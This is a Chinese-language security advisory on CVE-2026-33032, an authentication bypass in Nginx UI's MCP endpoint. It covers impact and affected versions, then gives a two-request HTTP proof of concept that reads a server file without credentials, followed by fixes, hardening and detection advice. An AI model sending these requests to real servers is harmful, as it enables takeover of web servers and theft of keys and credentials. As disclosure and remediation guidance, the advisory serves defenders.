1. 漏洞描述
Nginx UI 是一款广泛使用的开源 Nginx 图形化管理工具。在其集成的 MCP (Model Context Protocol) 接口中,存在一个由于代码实现疏忽导致的严重身份验证绕过漏洞,代号为 MCPwn,编号为 CVE-2026-33032。
该漏洞的核心原因在于路由注册时的逻辑错误:/mcp 端点受到 AuthRequired() 中间件保护,但其配对的、用于接收实际工具调用指令的 /mcp_message 端点在部署时缺失了该认证中间件。这使得任何能够通过网络访问该 UI 的攻击者,都可以在无需任何凭据的情况下接管 Nginx 服务。
2. 漏洞影响
•CVE 编号:CVE-2026-33032
•代号:MCPwn
•CVSS 3.1 评分:9.8 (Critical) (向量:AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
•漏洞类型:身份验证绕过 (CWE-306)
•影响版本:nginx-ui < 2.3.4
•修复版本:nginx-ui ≥ 2.3.4
•技术影响:
•任意配置修改:通过 edit_config 工具重写服务器块,插入攻击者控制的上游服务器。
•服务接管:通过 reload_nginx 立即生效恶意配置,或通过 stop_nginx 造成拒绝服务(DoS)。
•敏感信息泄露:利用 read_file 工具读取 TLS 私钥、系统凭据等敏感文件。
•持久化控制:攻击者可利用 create_cert 重新颁发受控证书,或结合其他漏洞实现长期潜伏。
3. 漏洞 POC (Proof of Concept)
攻击链极为简洁,仅需两次 HTTP 请求即可完成接管:
步骤 1:获取会话 ID (Session ID)
攻击者向未受限的 SSE 流端点发起请求,获取执行后续指令所需的会话标识。
GET /mcp HTTP/1.1 Host: <target>:9000
预期响应:返回包含 sessionID=XYZ 的数据流 。
步骤 2:执行高权限工具指令
利用获取的 sessionID 向 /mcp_message 发送 JSON-RPC 调用,例如读取敏感文件:
POST /mcp_message?sessionID=XYZ
HTTP/1.1
Host: <target>:9000
Content-Type: application/json
{ "jsonrpc": "2.0", "method": "read_file", "params": { "path": "/etc/nginx/nginx.conf" }, "id": 1 }
漏洞利用链 (Chain )
该漏洞常与 CVE-2026-27944(未授权备份下载漏洞)组合使用。后者可泄露 node_secret,即使在修复了 33032 漏洞后,若未及时轮换该密钥,攻击者仍可维持对 MCP 接口的访问权限。
4. 修复建议或方案
4.1 核心修复
•立即升级:将 nginx-ui 升级至 2.3.4 或更高版本。官方补丁已在路由注册中补齐了 AuthRequired() 调用。
// 修复后的代码片段
r.POST("/mcp_message", AuthRequired(), mcpMessageHandler)
4.2 缓解与加固
•端口隔离:切勿将 nginx-ui 管理端口(默认 9000)直接暴露于公网,应使用 VPN、堡垒机或防火墙(白名单策略)进行访问控制。
•禁用功能:若无需 AI 辅助管理,可在配置文件中彻底禁用 MCP 模块。
•密钥轮换:升级后,务必轮换 node_secret、SSL 私钥及所有存储在面板内的敏感凭据。
4.3 检测手段
•自动化检测:可使用 keraattin/CVE-2026-33032 提供的 Python 脚本或 Nmap NSE 插件进行非破坏性检测。
5. 参考引用
原创文章,作者:首席安全官,如若转载,请注明出处:https://www.cncso.com/nginx-ui-mcp-authentication-bypass.html